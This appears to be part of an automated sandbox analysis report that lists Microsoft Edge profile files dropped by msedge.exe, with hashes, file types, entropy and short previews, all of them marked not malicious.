SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4ce29.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4eb08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF513ce.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cfd0bc90-0a47-4dba-9937-bfd49dbb0848.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fd68177a-5e8d-4d7d-88fd-748bc5dd64e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13139
Entropy (8bit):	5.217019665937805
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypmsbCuaFvrE9khjHeV8fbV+F8gQAhUDP2YJ:stxPGQSu4msOuCDtbGBQ/r
MD5:	70A05B70DFA65CDB8650162EE1FC94CA
SHA1:	E3FE5927EE9AE60BF242CD58B22BC5B517166EA2
SHA-256:	7916B448EA5CE4C6556DF8F86D1C83DA20F23720853EA36B3FA67957026FAEEB
SHA-512:	0DAB1E2BE9BE5D0CAE9AB6547AEAE6C7FF81E25CC7737C84294BF71C5DC4232F26065CAAC11596F27A695C53A5F58DEA8269F23D31E1E2064320229BC8FAE582
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375309958023757","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF50c9a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13139
Entropy (8bit):	5.217019665937805
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypmsbCuaFvrE9khjHeV8fbV+F8gQAhUDP2YJ:stxPGQSu4msOuCDtbGBQ/r
MD5:	70A05B70DFA65CDB8650162EE1FC94CA
SHA1:	E3FE5927EE9AE60BF242CD58B22BC5B517166EA2
SHA-256:	7916B448EA5CE4C6556DF8F86D1C83DA20F23720853EA36B3FA67957026FAEEB
SHA-512:	0DAB1E2BE9BE5D0CAE9AB6547AEAE6C7FF81E25CC7737C84294BF71C5DC4232F26065CAAC11596F27A695C53A5F58DEA8269F23D31E1E2064320229BC8FAE582
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375309958023757","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35272
Entropy (8bit):	5.557113410735964
Encrypted:	false
SSDEEP:	768:aq78x6W6jW5wWUf4eD8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPboIQNNerwXiqXpi7:amg6fjWaWUffDu1jaOSv7SqXpi2OtX
MD5:	7AD9F9C53BCF9A8FD7BAC230CD13845C
SHA1:	7F227D103EA92AB2F7B6981C0D86FAD07094837C
SHA-256:	A56125CB3B92C129A69611354F03D5558E6A881228501CE4E59FF8D4B39F967D
SHA-512:	D5767E6702CFA057A912575BDD39F471E8BE4F213A5F45BD74E9D064417F11CA54B5A6E2F02AF4ADD3DCBAE6239C6C2D88A3729F7569C608F065821F056BA0A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375309957605927","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375309957605927","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF51208.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35272
Entropy (8bit):	5.557113410735964
Encrypted:	false
SSDEEP:	768:aq78x6W6jW5wWUf4eD8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPboIQNNerwXiqXpi7:amg6fjWaWUffDu1jaOSv7SqXpi2OtX
MD5:	7AD9F9C53BCF9A8FD7BAC230CD13845C
SHA1:	7F227D103EA92AB2F7B6981C0D86FAD07094837C
SHA-256:	A56125CB3B92C129A69611354F03D5558E6A881228501CE4E59FF8D4B39F967D
SHA-512:	D5767E6702CFA057A912575BDD39F471E8BE4F213A5F45BD74E9D064417F11CA54B5A6E2F02AF4ADD3DCBAE6239C6C2D88A3729F7569C608F065821F056BA0A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375309957605927","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375309957605927","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	4.781750903806468
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkXzd064lFlSFdVVl03nUBcis+ArXlK/Fl46JzR:chXUQI2xH8BzNme3fFd4d/rXc4IM1M/
MD5:	7C1B96DAB9280D6BA57513C7B67D992F
SHA1:	B2EE388821413E5CE5D9ECD38998F71B23FFCC69
SHA-256:	103E2BB870EF8E0155FCAEE58BB8B3421B45B580F087A72E59F67C1205C4422B
SHA-512:	765944240657437099C01890941F471D54F628E611E51DF6F50D8CA2902D874E98C664EBDBBFDC1C63E7BCADCFDC006D0B2D0DBC7B6FA4B6D790E859EF3C8D5D
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2r..;................REG:https://ntp.msn.com/.0..REGID_TO_ORIGIN:0MeN+.................URES:0..PRES:0.J4...................PRES:0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.118236716860285
Encrypted:	false
SSDEEP:	6:H6/fQp6/RM1N723oH+TcwtE/a252KLlV6/fQpO3AVq2PN723oH+TcwtE/a2ZIFUv:+QoZsaYeb8xLGQ8IvVaYeb8J2FUv
MD5:	14C65D11BBA95C61B89370F581D4FD93
SHA1:	BBAA482BCB80EEA4765E1246C3544FCAD691E501
SHA-256:	71A340627F88EE007DD333DE1EA2BA38F3C50EEB88A9DC0B49B672B8240FC018
SHA-512:	30D9B89E3C469007A4AE6BB7F66BFD190892E01F6B3E9EE48D159B041C55D4B7D009351BEABA838AAE6DE2A5D5DCFBB9DF7B1511B01DD86CBF2052846E6C7195
Malicious:	false
Preview:	2024/11/05-14:52:48.474 fe4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/05-14:52:48.497 fe4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113829
Entropy (8bit):	5.577786639488201
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlYN6H+Gy9lL/rDL/r3ki9:f9LyxPXfOrr1lMe1z6rWLenlL/HL/l
MD5:	6D067339B22D55EFD15374463F21C74C
SHA1:	2083D6BB237AA6EFBC6474FB75034FBB5DA5D73A
SHA-256:	344DD523E9426FEC6D14152C9F6B4A829101E1247275408FB11E6EBCE00DE64B
SHA-512:	00475D81A804AE6E9A70BAC24C420B32249B1378E27E7338E13145601061896A37B6876ED06D87EBF13CC0C4D19C16B285BF4E4727E062C40D0DE801C808B70B
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188009
Entropy (8bit):	6.380758467290012
Encrypted:	false
SSDEEP:	3072:Vk9gjq4NAWkw9pGCSEmBwn2H4WGX/wmmaSRvL/2RcGoC4vi:ZkwMEDmyXomm7L/C74vi
MD5:	98D6A1E9D1E12C4CC3808AA98BFD080A
SHA1:	DB3A553A6BED12D72239C98AEABF39319B09F41D
SHA-256:	AF756A7FF2A2F57770D50C7CC9126DFA5E48C5BC87C5A787F747D700C5546D01
SHA-512:	DA85835036D8E2EFEFE7FEEA5E1E5212804373FF893253B8CEE8870F0E97A2A77E5D82A213E69CBD7262B4E3C49BD6EB6DA31C7B65C67B964F2A64F31E40B5F1
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT.........,T.8..`,.....L`.....,T...`......L`......Rc.......exports...Rc..s.....module....RcZ.ga....define....Rb..._....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...Ib...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....4U...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:XCnZcFXTEmu:SnZ0XgF
MD5:	A8D52C0A5258DF90F0A13E8385A203B1
SHA1:	50BBD4C661DE2BB14DE3283ED2CEBC1F986C4A82
SHA-256:	39FFE8ACFD370C3AD8FAC00E1F4624D89569DE73532DDD25969C87179A88F1D9
SHA-512:	B2B9F97839BF7D185BB28BF99734D65C448CAE20E77285891735A9AAEE5BC3D4F71DC8B0933032113E6B311F91B532A8272F99B679B59B9D1C9DC959C4AA67F7
Malicious:	false
Preview:	(...J'B.oy retne........................:.o../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:XCnZcFXTEmu:SnZ0XgF
MD5:	A8D52C0A5258DF90F0A13E8385A203B1
SHA1:	50BBD4C661DE2BB14DE3283ED2CEBC1F986C4A82
SHA-256:	39FFE8ACFD370C3AD8FAC00E1F4624D89569DE73532DDD25969C87179A88F1D9
SHA-512:	B2B9F97839BF7D185BB28BF99734D65C448CAE20E77285891735A9AAEE5BC3D4F71DC8B0933032113E6B311F91B532A8272F99B679B59B9D1C9DC959C4AA67F7
Malicious:	false
Preview:	(...J'B.oy retne........................:.o../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5827
Entropy (8bit):	3.452824162170001
Encrypted:	false
SSDEEP:	96:zaBu5KqJEsgtKGwlM3TpQ5SVumKIVTZ/DK9Xp+E+dVIXokNY5bjLl9iSrZ1+9kzR:rPJE4Gwl2pQ5SlfV09Xp+EqVIXDa5bj0
MD5:	3A6357820D77D2348B32D6A09943AC5C
SHA1:	C36412895C2D13D60A68C22CDB1BF7A1927DC82E
SHA-256:	E6317BD6F5CA021142FEF6737208EC1251868A5B868490E3FB284944A8528558
SHA-512:	C315D3F48002BDFA09951DB89BFFD43D0026AF70615D1F8FAE5C030F3625EF557E563E7324EF4066B98AE2BD534BEAD412641BFC1AFC6A438AE7EC57B8B16AE3
Malicious:	false
